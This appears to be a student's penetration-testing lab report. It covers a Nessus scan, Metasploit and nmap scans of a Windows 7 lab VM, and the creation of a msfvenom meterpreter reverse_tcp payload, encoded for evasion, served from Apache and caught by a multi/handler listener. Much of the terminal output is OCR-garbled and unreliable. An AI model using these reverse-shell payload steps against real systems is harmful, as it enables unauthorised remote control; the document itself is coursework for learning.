ADVANCED CYBERSECURITY 
ANDOM p151438
LAB-6 
ATTACKING 
1) Following the Successful download of Nesuss tool the credentials were set as it can be seen below. [image: ]

2) Next the Nessus tool prompt to enter the IP address (10.0.2.7) of the targeted machine (Win 7 in this case).  
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3) The host discovery scan results are displayed below. The prompt also requests to run scan on the target machine.  
[image: ]

4) As it can be seen below, the targeted machine details such as IP and MAC address, OS are discovered. More other the vulnerabilities are classified as critical, high, medium and low.
[image: ]

LISTING THE VULNERABILITIES GAINED FROM THE NESSUS TOOL 
1) High vulnerabilities 
· MS11-030: Vulnerability in DNS Resolution Could Allow Remote Code Execution (2509553). 
A flaw in the way the installed Windows DNS client processes Link- local Multicast Name Resolution (LLMNR) queries can be exploited to execute arbitrary code in the context of the NetworkService account.
· Unsupported Windows OS (remote). 
The remote version of Microsoft Windows is either missing a service pack or is no longer supported. As a result, it is likely to contain security vulnerabilities.




2) Medium vulnerabilities 
· SMB Signing not required.
Signing is not required on the remote SMB server. An unauthenticated, remote attacker can exploit this to conduct man-in-the-middle attacks against the SMB server.
3) Low vulnerabilities.
· Common Platform Enumeration (CPE). 
By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host.

Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan.
· Ethernet MAC Addresses.
This plugin gathers MAC addresses discovered from both remote probing of the host (e.g. SNMP and Netbios) and from running local checks (e.g. ifconfig). It then consolidates the MAC addresses into a single, unique, and uniform list.
FINDING OUT THE OPEN PORTS 
1) Initiating the Metasploit console 
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2) Executing the portscan common on the Metasploit console to scan the ports. Then the auxiliary modules was also used. 

[image: ]

3) After inserting the info command to collect some information and setting the remote hosts through the command (set RHOSTS) on the targeted machines IP address (10.0.2.7). The run command was executed to discover the open ports. 

[image: ]





RECORDING THE OUTPUT (OPENT TCP PORTS) 


· [bookmark: _Hlk56050491]TCP OPEN 10.0.2.7:135
· TCP OPEN 10.0.2.7:139
· TCP OPEN 10.0.2.7:445
· TCP OPEN 10.0.2.7:554

4) Running the Nmap scripts cipher on port 443
[image: ]
RECORDING THE STATUS OUTPUTS 
· [bookmark: _Hlk56051404]As it can be seen above Port 443 is closed. 

5) Running the Nmap scripts cipher on port 2869 
    [image: ]
RECORDING THE STATUS OUTPUTS 
· As it can be seen above Port 443 is open. 

6) Running the Nmap scripts cipher on port 80. 
[image: ]
RECORDING THE STATUS OUTPUTS 
· As it can be seen above Port 80 is closed.  





CHECKING CIPHERS FOR PUBLIC DOMAIN 
7) Initiating the Nmap script 
 [image: ]
8) Running the cipher on the cisco.com domain. 
[image: ]

9) Running the cipher on the abc.com domain. 
[image: ]

RECORDING THE OUTPUT 
As it can be seen from the screenshot above, no host and no host were able to be scanned. Thus, it fails to resolve the domain (abc.com). 
TASK: USING METASPLOIT 
1) Initiating the Metasploit console using the msfconsole command. 
[image: ]
2) Executing the seach Smb command. 
[image: ]

3) RECORDING THE OUTPUS 
The output gained after running the above command can be seen below. 
[image: ]








4) Using the auxiliary modular metasploit to discover the version and options of the RHOSTS of the target machine using its IP address. 
[image: ]
5) RECODING THE OUTPUT 
As it can seen below, the name of the PC, the running port and number of hosts in use was discovered. 
[image: ]
         CREATING PAYLOAD 
1) Creating Metasploit venom payload.

[image: ]

2) Creating Normal Payload 
[image: ]
























ENCODED PAYLOAD 
3) The payload was encoded as it can be seen below. 

[image: ]
[image: ]

RELECTION 
The Nessus tool is a very useful and powerful which can allows the penetration testers or hackers to perform network scan to discover the existing vulnerability of the system thus, it enables the user exploit the system, discover the vulnerability and create an attack payload to be executed by the targeted machine. 
Generally speaking, this tool is a very good tool to execute the desired task. 
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msf5 > search portscan

Matching Modules

# Name Disclosure Date Ra
nk Check Description

0 auxiliary/scanner/http/wordpress_pingback_access no
rmal No Wordpress Pingback Locator

1 auxiliary/scanner/natpmp/natpmp_pOESESH no
rmal No NAT-PMP External Port Scanner

2 auxiliary/scanner/pOESEAN/ack no
rmal No TCP ACK Firewall Scanner

3 auxiliary/scanner/pOHESEaN/ tpbounce no
rmal No FTP Bounce Port Scanner

4 auxiliary/scanner/pORESEaN/ syn no
rmal No TCP SYN Port Scanner

5 auxiliary/scanner/BOESGAN/ tcp no
rmal No TCP Port Scanner

6 auxiliary/scanner/pOFESEAN/ xnas no
rmal No TCP "XMas™ Port Scanner

7 auxiliary/scanner/sap/sap_router_poHESEainer no
rmal No SAPRouter Port Scanner

Interact with a module by name or index, for example use 7 or use auxiliary
/scanner/sap/sap_router_portscanner
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msf5 auxiliary(«coooer/poriccan/cn) > info

Name: TCP SYN Port Scanner
Module
License

Rank:

Normal

Provided by:

auxiliary/scanner/portscan/syn
Metasploit Framework License (BSD)

kris katterjohn <katterjohnagmail.com>

Check supported:
No

Basic options:

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to scan per set

DELAY 0 yes The delay between connections, per
thread, in milliseconds

INTERFACE no The name of the interface

JITTER 0 yes The delay jitter factor (maximum va
Tue by which to +/- DELAY) in milliseconds.

PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-90
0)

RHOSTS yes The target host(s), range CIDR iden
tifier, or hosts file with syntax 'filei<path>

SNAPLEN 65535 yes The number of bytes to capture

THREADS 1 yes The number of concurrent threads (m
ax_one per host)

TIMEOUT 500 yes The reply read timeout in milliseco
nds
Description:

Enumerate open TCP services using a raw SYN scan.

mSF5 auxiliary(sconnes/portac
RHOSTS = 10.0.2.7

/) > set RHOSTS 10.0.2.7

mSF5 auxiliary(scannes/portscan/syn) > run

[+] TCP OPEN 10.0.2.7:135
[+] TCP OPEN 10.0.2.7:139
[+] TCP OPEN 10.0.2.7:445
[+] TCP OPEN 10.0.2.7:554
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kalidkali:~/Downloads$ nmap —script=ssl-enum-ciphers -p 443
starting Nmap 7.91 ( https://nmap.org ) at 2020-11-11 18:12 EST
Nmap scan report for 10.0.2.7
Host is up (0.000945 latency).

PORT  STATE SERVICE
443/tcp closed https

Nmap done: 1 IP address (1 host up) scanned in 13.61 seconds
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kaligkali:~/Downloads$ nmap —scrip
starting Nmap 7.91 ( https://nmap.org ) at 2
Nmap scan report for 10.0.2.7
Host is up (0.00062s latency)

-11-11 18:18 EST

PORT STATE SERVICE
2869/tcp open icslap

Nmap done:

1 IP address (1 host up) scanned in 13.54 seconds

=ssl-enum-ciphers -p 2869 10.0.2.7




image10.jpeg
kaligkali:~/Downloads$ nmap —script=ssl-enum-ciphers -p 80 10
starting Nmap 7.91 ( https://nmap.org ) at 2020-11-11 18:18 EST
Nmap scan report for 10.0.2.7
Host is up (0.00049s latency)

PORT  STATE SERVICE
80/tcp closed http

Nmap done: 1 IP address (1 host up) scanned in 13.53 seconds
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kaligkali:~$ s /usr/share/nmap/scripts/
acarsd-info.nse
address-info.nse
afp-brute.nse
afp-ls.nse
afp-path-vuln.nse
afp-serverinfo.nse
afp-showmount .nse
ajp-auth.nse
ajp-brute.nse
ajp-headers.nse
ajp-methods..nse
ajp-request.nse
allseeingeye-info.nse
angp-info.nse
asn-query.nse
auth-owners.nse
auth-spoof .nse
backorifice-brute.nse
backorifice-info.nse
bacnet-info.nse
banner.nse
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laligkali:~$ nmap -p 443 —script=ssl-enum-ciphers cisco.com

Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-11 18:29 EST
Failed to resolve "cisco.com”.

WARNING: No targets were specified, so 0 hosts scanned
Nmap done: 0 IP addresses (@ hosts up) scanned in 20.59 seconds
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kaligkali:~$ nmap -p 443 —script=ssl-enum-ciphers abc.com
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-11 18:30 EST
Failed to resolve "abc.com".

WARNING: No targets were specified, so @ hosts scanned.

1P addresses (0 hosts up) scanned in 20.64 seconds
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kaliakali:~/Dounloads$ sudo msfconsole
WARN: Unresolved or ambiguous specs during Gem
reline (> 0)
Available/installed versions of this gem:
- 0.1.5
- 0.1.3

pecification.reset:

WARN: Clearing out unresolved specs. Try 'gem cleanup <gem>

Please report a bug if this causes problems
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=[ metasploit v5.0.101-dev
[ 2049 exploits - 1108 auxiliary - 344 post
[ 562 payloads - 45 encoders - 10 nops

=[ 7 evasion

https://metasploit.co

Metasploit tip: Writing a custom module? After editing your module, why not try
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nsfs > search smb

Matching Modules

#  Name Disclosu
re Date Rank Check Description
@ auxiliary/admin/mssql/mssql_enun_domain_accounts
normal ~ No  Microsoft SQL Server SUSER_SNAME Windows Domain Accou
nt Enumeration
1 auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli
normal ~ No  Microsoft SQL Server SQLi SUSER_SNAME Windows Domain
Account Enumeration
2 auxiliary/adnin/mssql/mssql_ntlm_stealer
normal ~ No  Microsoft SQL Server NTLM Stealer
3 auxiliary/adnin/mssql/mssql_ntlm_stealer_sqli
nornal  No  Microsoft SQL Server SQLi NTLM Stealer
4 auxiliary/admin/oracle/ora_ntlm_stealer 2009-04-
o7 normal ~ No _ Oracle §MB Relay Code Execution

5  auxiliary/adnin/}
normal ~ No

/check_dir_file
Scanner Check File/Directory Utility

6  auxiliary/adnin/giilB/delete file
normal ~ No File Delete Utility

7 auxiliary/adnin/giil/download_file
normal ~ No File Download Utility

8  auxiliary/admin/Eiil8/list_directory
normal ~ No Directory Listing Utility

9 auxiliary/adnin/} _comnand 2017-03-

14 normal  No  MS17-010 EternalRomance/EternalSynergy/EternalChampio

n §M8 Remote Windows Command Execution
10 auxiliary/adnin/gil/psexec_command

normal ~ No  Microsoft Windows Authenticated Administration Utilit
y
11 auxiliary/admin/giill/psexec_ntdsgrab
normal ~ No _ PsExec NTDS.dit And SYSTEM Hive Download Utility
12 auxiliary/admin/giil8/sanba_synlink_traversal
normal ~ No  Samba Symlink Directory Traversal

13 auxiliary/adnin/ii8/upload_file
normal ~ No File Upload Utility

14 auxiliary/admin/gii/webexec_command

normal ~ No  WebEx Remote Command Execution Utility
15 auxiliary/docx/word_unc_injector

normal ~ No  Microsoft Word UNC Path Injector
16  auxiliary/dos/samba/read_nttrans_ea_list

normal ~ No  Samba read nttrans_ea list Integer Overflow

17 auxiliary/dos/sap/sap_soap_rfc_eps_delete file
normal ~ No  SAP SOAP EPS_DELETE_FILE File Deletion
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exploit/windows/local/cve_2020_0796_iilighost i 2020

good Yes  SMBv3 Compression Buffer Overflow
exploit/windows/misc/hp_dataprotector_cmd_exec 2014-11-
excellent Yes  HP Data Protector 8.10 Remote Command Execution
exploit/windows/misc/hp_dataprotector_install service 2011-11-
excellent Yes  HP Data Protector 6.10/6.11/6.20 Install Service
exploit/windows/oracle/extjob 07-01-
excellent Yes  Oracle Job Scheduler Named Pipe Command Execution

exploit/windows/scada/ge_proficy cimplicity_gefebt 2014-01-
excellent Yes  GE Proficy CIMPLICITY gefebt.exe Remote Code Executio
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msf5 > use auxiliary/scanner/smb/smb_version
msf5 auxiliary(scanner/sun/snh vers on) > options

Module options (auxiliary/scanner/smb/smb_version):

Name Current Setting Required Description
RHOSTS yes The target host(s), range CIDR identifi
er, or hosts file with syntax 'filei<path>
sMBDomain . no The Windows domain to use for authentic
ation
SMBPass no The password for the specified username
sMBUSer no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max o

ne per host)

msf5 auxiliary(- oo
1 Auxiliary failed
idate: RHOSTS.

x/sub/snb_version) > run
Msf ::OptionvalidateError One or more options failed to val

mSF5 auxiliary(scanner/suh/suh version) > set RHOSTS 10.0.2.7

RHOSTS = 10.0.2.7

nsf5 auxiliary(scanner/sub/sub_version) > run

[+] 10.0.2.7:445 - Host is running Windows 7 Professional SP1 (build:76
01) (name:ANDOM-PC) (workgroup:WORKGROUP ) (signatures:optional)

[*] 10.0.2.7:445 - Scanned 1 of 1 hosts (100% complete)

[+] Auxiliary module execution completed
nsf5 auxiliary(scanner/snb/snb_version) > [
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msf5 auxiliary(sconner/cnn/cnb version) > set RHOSTS 10.
RHOSTS = 10.0.2.7

nSF5 auxiliary(sconners/snb/snb version) > run

0.2.7:445 - Host is running Windows 7 Professional SP1 (build:76
NDOM-PC) (workgroup:WORKGROUP ) (signatures:optional)

- Scanned 1 of 1 hosts (100% complete)
[+] Auxiliary module execution completed

msf5 auxiliary(scannes/snn/snb version) > [l
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kaliakali:~$ msfvenom -h

Msfvenom - a Metasploit standalone payload generator.

Also a replacement for msfpayload and msfencode.

Usage: /ust/bin/msfvenom [options] <var=val>

Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> —f exe
o payload.exe

options:
1, —list <type>  List all modules for [typel. Types are: pay
loads, encoders, nops, platforms, archs, encrypt, formats, all
-p, —-payload <payload> Payload to use (—list payloads to list, —
list-options for arguments). Specify '-' or STDIN for custom
—list-options List —payload <value>'s standard, advanced
and evasion options
-f, —format <format> Output format (use —list formats to list)
-e, —encoder <encoder> The encoder to use (use —list encoders to
list)
—service-name  <value>  The service name to use when generating a s
ervice binary
—sec-name <value>  The new section name to use when generating
large Windows binaries. Default: random 4-character alpha string
—smallest Generate the smallest possible payload usin
g all available encoders
—encrypt <value>  The type of encryption or encoding to apply
to the shellcode (use —list encrypt to list)
—encrypt-key  <value> A key to be used for —encrypt
—encrypt-iv <value>  An initialization vector for —encrypt
-a, —arch <arch>  The architecture to use for —payload and -
~encoders (use —list archs to list)
—platforn <platforn> The platform for —payload (use —list plat
forms to list)
o, —out <path>  Save the payload to a file
-b, —bad-chars <list>  Characters to avoid example: '\x0O\xff
-n, —nopsled <length>  Prepend a nopsled of [Length] size on to th
e payload
—pad-nops Use nopsled size specified by -n <length> a

s the total payload size, auto-prepending a nopsled of quantity (nops minus payl
oad length)
-s, —space <length>  The maximum size of the resulting payload
—encoder-space  <length> The maximum size of the encoded payload (de
faults to the -s value)

i, —iterations <count>  The number of times to encode the payload

-c, —-add-code <path>  Specify an additional win32 shellcode file
to include

-x, —template <path>  Specify a custom executable file to use as
a template

-k, —keep Preserve the —template behaviour and injec
t the payload as a new thread

v, —-var-name <value>  Specify a custom variable name to use for c

ertain output formats
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laligkaliz~$ msfvenom -p windows/meterpreter/reverse_tcp Ihost=10.0.2.7 Ipor
333 —f exe -0 /home/kali/Desktop/File.exe
WARN: Unresolved or ambiguous specs during Gem:
reline (> 0)
Available/installed versions of this gem:
- 0.1.5
- 0.1.3
WARN: Clearing out unresolved specs. Try 'gem cleanup <gem>
Please report a bug if this causes problems
[-] No platform was selected, choosing Ms
ayload
[-1 No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
saved as: /home/kali/Desktop/File.exe
Pt mrd R

pecification.reset:

Module :: Plat forr

Windows from the p
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kaligkali:~§ msfvenom -a x86 -p windows/meterpreter/reverse_tcp
WARN: Unresolved or ambiguous specs during Gem::Specification.reset
reline (> o)
Available/installed versions of this gem:
.15
i
WARN: Clearing out unresolved specs. Try 'gem cleanup <gem>
Please report a bug if this causes problems
[-]1 No platform was selected, choosing Msf::Module
ayload
No encoder specified, outputting raw payload
Payload size: 341 bytes
900 9610d0P00R
VEOUP}0; I SUOXOXIOTO UTEO: 10L0010000
KOXYOBDIS[[2Y2Q0@__29991h32hus2_ThLuc @@ On®)OTPh) €k O]

h
h\@OPPPPIPIPh OGOV IIh @& 12030t
GuOO3i VI OO_Ox0-60670hVjhX@SOG0SiVSHhe&_&x9] (XhajPh
/MhunMa“M:
$00900000000)

latform::Windows from the p

GuOI00OViSOO
kalidkali:~$ lhost-10
\xFF' >

bash: syntax error near unexpected token “newline'

kaliakali:~$ /home/kali/Desktop/Fileenc.exe

bash: /home/kali/Desktop/Fileenc.exe: No such file or directory

2.15 lport=3333 —f exe -e x86/shikata_ga_nai -i 3 -b '\x

kaligkaliz~$ service apache2 start

kaliakaliz~$ 1s

applefiles Documents html links_20201103_202744.txt Pictures Templates
Desktop  Downloads Music Public  Videos
kaliakalii~$ cd Desktop

kaligkali:~/Desktop$ sudo cp Fileenc.exe File.exe /var/wmi/html/
cp: cannot stat 'Fileenc.exe': No such file or directory
kaligkali:~/Desktop$ sudo cp Fileenc.exe /var/wmi/html/
cp: cannot stat 'Fileenc.exe': No such file or directory
kaliakali:~/Desktop$ cd /var/wmi/html/
kaliakali:/var/wm/html$ 1s
File.exe index.html index.nginx-debian.html
kaliakali:/var/wm/html$ cd —
kaliakali:~$ service postgresql start
kalidkalii~§ msfconsole
WARN: Unresolved or ambiguous specs during Ge
reline (> o)
Available/installed versions of this gem:
.15
i
WARN: Clearing out unresolved specs. Try 'gem cleanup <gem>'
Please report a bug if this causes problems.

Specification.reset:
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=[ metasploit v5.0.101-dev
2049 exploits - 1108 auxiliary - 344 post
562 payloads - 45 encoders - 10 nops

— —=[ 7 evasion

Metasploit tip: Use the resource command to run commands from a file

nsf5 > use exploit/multi/handler
[+1 Using configured payload generic/shell reverse tcp

mSf5 exploit(y « /ianilor) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD = windows/meterpreter/reverse_tcp

msf5 exploit(ii«/1oniio1) > PAYLOAD = windows/meterpreter/reverse_tcp

~ | Unknown command: PAYLOAD.

msf5 exploit(ii /ianiier) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technigue (Accepted: '*, seh, threa
d, process, none)

LHOST yes The listen address (an interface may be
specified)

LPORT  44id yes The listen port

Exploit target:

Id Name

0 wildcard Target

msF5 exploit(niici/iandlor) > set lport 3333
Tport = 3333

msf5 exploit(nilci/iandler) > set lhost 10.0.2.7
Thost = 10.0.2.7

msF5 exploit(iilci/andler) > run

| Handler failed to bind to 10.0.2.7:3333:- -
[#] started reverse TCP handler on 0.0.0.0:3333
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My Host Discovery Scan Results

Nessus found the following hosts listed below from your ist of targets (10.02.7)

o launch your first basic network scan, select the hosts you want to scan. These hosts count towards the 16
host limit on your icense.

P

v 10027

covery Complete!
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kaliakaliz~$ 1s
applefiles Documents html links 20201103 202744.txt Pictures Templates
Desktop  Dounloads Music Public  Videos
kaliakali:~$ cd Downloads
kaliakali:~/Downloads$ sudo msfconsole
[sudo] password for kali:
WARN: Unresolved or ambiguous specs during Ge
reline (> 0)
Available/installed versions of this gem:
-0.1.5
-0.1.3
WARN: Clearing out unresolved specs. Try 'gem cleanup <gem>
Please report a bug if this causes problems

Specification.reset:

# cowsay++

metasploit >

\

\ (eo)__
i

N
1l *

metasploit v5.0.101-dev
2049 exploits - 1108 auxiliary - 344 post
562 payloads - 45 encoders - 10 nops

7 evasion

Metasploit tip: View advanced module options with advanced

msf5 > search portscan




